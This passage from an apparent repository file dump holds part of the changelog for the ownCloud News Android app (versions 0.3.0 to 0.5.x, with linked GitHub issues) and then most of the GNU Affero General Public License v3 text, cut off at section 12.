href=\"https://github.com/owncloud/News-Android-App/issues/214\">#214 Scrolling within article causes unwanted tap on links</a>\n\n0.5.7 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/213\">#213 When using the dark theme websites with no background color are unreadable</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/211\">#211 Links within articles</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/198\">#198 enable auto sync configuration</a>\n\n0.5.6\n---------------------\n- Fixed flickering of the screen when changing Feeds (in dark Theme)\n- New Pull-To-Refresh Style\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/200\">#200 Clicking article in widget makes app crash</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/196\">#196 Stutter with \"mark as read while scrolling\" turned on</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/189\">#189 Read mouse-over</a>\n\n0.5.5\n---------------------\n- Improve Changelog View\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/186\">#186 Missing \"clear cache\" in the settings (on Tablets)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/189\">#189 Read mouse-over</a>\n- Improvement - Fix Layout problems in DetailView\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/195\">#195 Mark as read when opened in browser</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/194\">#194 favIcons and imgCache show up in Gallery</a>\n\n0.5.4\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/184\">#184 Option to disable notification</a>\n\n0.5.3\n---------------------\n- Update star/checkbox icons for devices with lower screen size\n- Update language support\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/176\">#176 Open directly in Browser</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/179\">#179 Widget items not clickable</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/183\">#183 Widget items color stripe position</a>\n\n0.5.2\n---------------------\n- Improvement - Notification when background sync is enabled and new items are received\n- Improvement - Fix high CPU-Load in Detail-View\n- Improvement - Speed up image caching\n\n0.5.0\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/162\">#162 New items available notification pops up when there really aren't</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/160\">#160 Widget font size</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/161\">#161 'Send via' should be removed from sharing </a>\n\n0.4.11\n---------------------\n- Critical Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/158\">#158 0.4.10 instantly crashes when opening</a>\n\n0.4.10 (unpublished)\n---------------------\n- Improvement - New Changelog Design\n- Improvement - AppRater Plugin added\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/155\">#155 Feed view isn't refreshed on sync</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/153\">#153 Sidebar should be darker</a>\n- Bug fixes\n\n0.4.9\n---------------------\n- Update German Language support\n- Readded full support of Android 2.2+ (was broken since 0.4.4)\n- Improvement - In Landscape Mode on Tablets (7inch+) the Feed/Folder pane is always visible.\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/77\">#77 There should be icons for folders and special categories</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/139\">#139 Article list jumps after having article opened</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/137\">#137 Back button shouldn't close app when app displays a specific feed or folder</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/151\">#151 Reload slide pane when open event is triggered</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/136\">#136 Fix that the translated app name is used as the folder name</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/134\">#134 Sidebar - \"Loading ...\" font color should be brighter</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/133\">#133 Refreshing after adding server data results in unauthorized</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/57\">#57 Background synchronization</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/152\">#152 Changing sorting direction</a>\n\n0.4.8\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/140\">#140 Open in browser and Share with controls always act on original article</a>\n- Update Language support\n\n0.4.7\n---------------------\n- fixed app crash when sync on startup is enabled\n- faster favIcon pre-caching\n\n0.4.6\n---------------------\n- Fixed app freeze when sync is finished\n- Small improvements\n\n0.4.5 (unpublished)\n---------------------\n- Fixed critical app crash after sync finished\n- Improved security for self signed certificates. Special thanks to Dominik Schürmann (@dschuermann) <a href=\"https://github.com/owncloud/News-Android-App/issues/130\">#130 (Implement MemorizingTrustManager to prevent MitM attacks)</a>\n- Small bug fixes\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/128\">#128 (»Mark all as read« is sometimes disabled)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/125\">#125 (Feed list entries flash when unread count changes)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/129\">#129 (Line height needs to be increased for better readability)</a>\n\n0.4.4 (unpublished)\n---------------------\n- Fixed Security issue - thank you for the hint @davivel <a href=\"https://github.com/owncloud/News-Android-App/issues/47\">#47 (can't connect to my ownCloud)</a>\n- Fixed issue - <a href=\"https://github.com/owncloud/News-Android-App/issues/105\">#105 (Androids back button does not hide empty feeds)</a>\n- Fixed issue - <a href=\"https://github.com/owncloud/News-Android-App/issues/119\">#119 (\"mark all read\" button has some bugs)</a>\n- Fixed issue - <a href=\"https://github.com/owncloud/News-Android-App/issues/103\">#103 (Favicons not shown)</a>\n- Fixed issue - <a href=\"https://github.com/owncloud/News-Android-App/issues/112\">#112 (Click on wrong item)</a>\n- Fixed issue - <a href=\"https://github.com/owncloud/News-Android-App/issues/115\">#115 (Database lock issue)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/117\">#117 (Rearange the icons in the detail view)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/118\">#118 (Add author to the new detail view header)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/120\">#120 (Add coloured line to the feeds view in the average coulour of the favicon)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/107\">#107 (Keep unread)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/60\">#60 (Sync from unread items (or any feed view))</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/113\">#113 (Long press on image to show title text)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/108\">#108 (Mark as read once post is beyond the screen)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/34\">#34 (Widget)</a>\n- Layout improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/106\">#106 (Option to skip list view)</a>\n- Layout improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/55\">#55 (collapsible feeds list to maximize item space on phablets)</a>\n- Layout improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/15\">#15 (make column bar between folders and newslist movable)</a>\n- Layout improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/116\">#116 (Remove About/Changelog Menu Item from the List Detail View (Second view))</a>\n- Improved german translation - <a href=\"https://github.com/owncloud/News-Android-App/issues/88\">#88 (Bad german translation)</a>\n\n0.4.3\n---------------------\n- Fixed issue <a href=\"https://github.com/owncloud/News-Android-App/issues/104\">#104 (0.4.2 does not sync)</a>\n- Fix issue that sometimes Exeptions are not shown\n- Update F-Droid (merge dev with master)\n- Update Language Support from master branch\n\n0.4.2\n---------------------\n- critical bug fix that sync was broken <a href=\"https://github.com/owncloud/News-Android-App/issues/102\">#102 (0.4.1 doesn't sync anymore)</a>\n\n0.4.1\n---------------------\n- Font settings are also applied to the item detail view now\n- Fix issue that the Button \"Download more items\" was not working\n\n0.4.0\n---------------------\n- Fixed app crash when image cache is enabled and the dialog appear which asks the user if download via roaming is allowed.\n- Fixed app crash reports.\n- Fixed Issue <a href=\"https://github.com/owncloud/News-Android-App/issues/96\">#96 (Can't sync feeds - using a bad URL)</a>\n- Improved <a href=\"https://github.com/owncloud/News-Android-App/issues/95\">#95 Make font/font size user selectable</a>\n- Improved <a href=\"https://github.com/owncloud/News-Android-App/issues/86\">#86 clearing the cache while having read items prevents them from being synced</a>\n- Implemented Feature <a href=\"https://github.com/owncloud/News-Android-App/issues/99\">#99 Option to change item order new-old/old-new</a>\n\n0.3.9\n---------------------\n- Support for APIv1 and APIv2. (That means the app on Google Play will be updated, too!)\n- Small fixes\n- Improved memory usage while synchronizing\n- Auto sync of item state every 5 minutes\n- Changed font style to Roboto Light\n\n0.3.8\n---------------------\n- Fixed Issue when trying to download more items in \"all unread\" and \"starred items\" view.\n- Added option to set up the maximum cache size.\n- Fixed app crash on tablets (could crash somtimes since v.0.3.7 when trying to download more items).\n- Fixed Issue <a href=\"https://github.com/owncloud/News-Android-App/issues/78\">#78 (The cache should be cleared in the background)</a>\n- Improved feature <a href=\"https://github.com/owncloud/News-Android-App/issues/84\">#84 (Buttons to toggle the folders are hard to hit and not descriptive)</a>\n- Improved feature <a href=\"https://github.com/owncloud/News-Android-App/issues/76\">#76 (There should me more spacing between feeds and folders)</a>\n- Speed optimizations in the Folder/Feed Overview\n- About/Changelog added\n\n0.3.7\n---------------------\n- Option to mark articles as read while scrolling <a href=\"https://github.com/owncloud/News-Android-App/issues/14\">#14 (\"mark as read\" on scroll)</a>\n- Rich list theme layout (WebView) <a href=\"https://github.com/owncloud/News-Android-App/issues/6\">#6</a>\n- Fixed issue <a href=\"https://github.com/owncloud/News-Android-App/issues/46\">#46 (Android 3.2.1 crash)</a>\n- Fixed issue <a href=\"https://github.com/owncloud/News-Android-App/issues/68\">#68 (Special folder \"all unread articles\" shows all articles)</a>\n- Fixed issue <a href=\"https://github.com/owncloud/News-Android-App/issues/69\">#69 (Crash when image cache enabled)</a>\n\n0.3.6\n---------------------\n- Option to scroll through articles with Volume rockers <a href=\"https://github.com/owncloud/News-Android-App/issues/61\">#61 (Use volume rocker to browse through articles)</a>\n- Option to download old items for feed/folder <a href=\"https://github.com/owncloud/News-Android-App/issues/63\">#63 (Allow dowloading old items)</a>\n- Light Theme for item view <a href=\"https://github.com/owncloud/News-Android-App/issues/59\">#59 (White Theme doesn't apply to articles)</a>\n- Image offline caching function asks now if you want to download if you're not connected with wifi\n- Item detail optimizations\n\n0.3.5\n---------------------\n- Fixed issue <a href=\"https://github.com/owncloud/News-Android-App/issues/52\">#52 (Folders visible multiple times)</a>\n- Fixed issue <a href=\"https://github.com/owncloud/News-Android-App/issues/53\">#53 (New items get added at the bottom)</a>\n- Added default feed favIcon\n- Theme is now also applied in the settings screen\n- Implemented <a href=\"https://github.com/owncloud/News-Android-App/issues/56\">#56 (Click on header to open article in browser)</a>\n\n0.3.4\n---------------------\n- Offline reading (Only when you sync items the marked/starred/unread/unstarred items get synchronized. This save a lot of network traffic\n- Offline image caching\n- Login is getting verified when you click sign-in\n- Strict-Hostname-Verification (Important Security Fix)\n- Simple or extended list view\n- Light or dark app Theme\n- Implemented <a href=\"https://github.com/owncloud/News-Android-App/issues/29\">#29 Mark all Article in one Column as readed</a>\n- A lot of other new stuff and fixes\n\n0.3.3\n---------------------\n- Dark/Light App Theme\n- Feed List Design Simple/Extended\n- many new languages have been added\n\n0.3.2\n---------------------\n- Fixed app crash when leaving item detail view.\n\n0.3.1\n---------------------\n- Polish language support added (thank you for translating Cyryl)\n- App crash fixed when no item header text is available\n- Go back in the item view if you press the home button\n- Added Up Button in detail view as fix for GitHub Issue #13\n- Other small fixes\n\n0.3.0\n---------------------\n- Android 2.2+ Support added\n- small bugfixes\n"
  },
  {
    "path": "COPYING-AGPL.md",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No 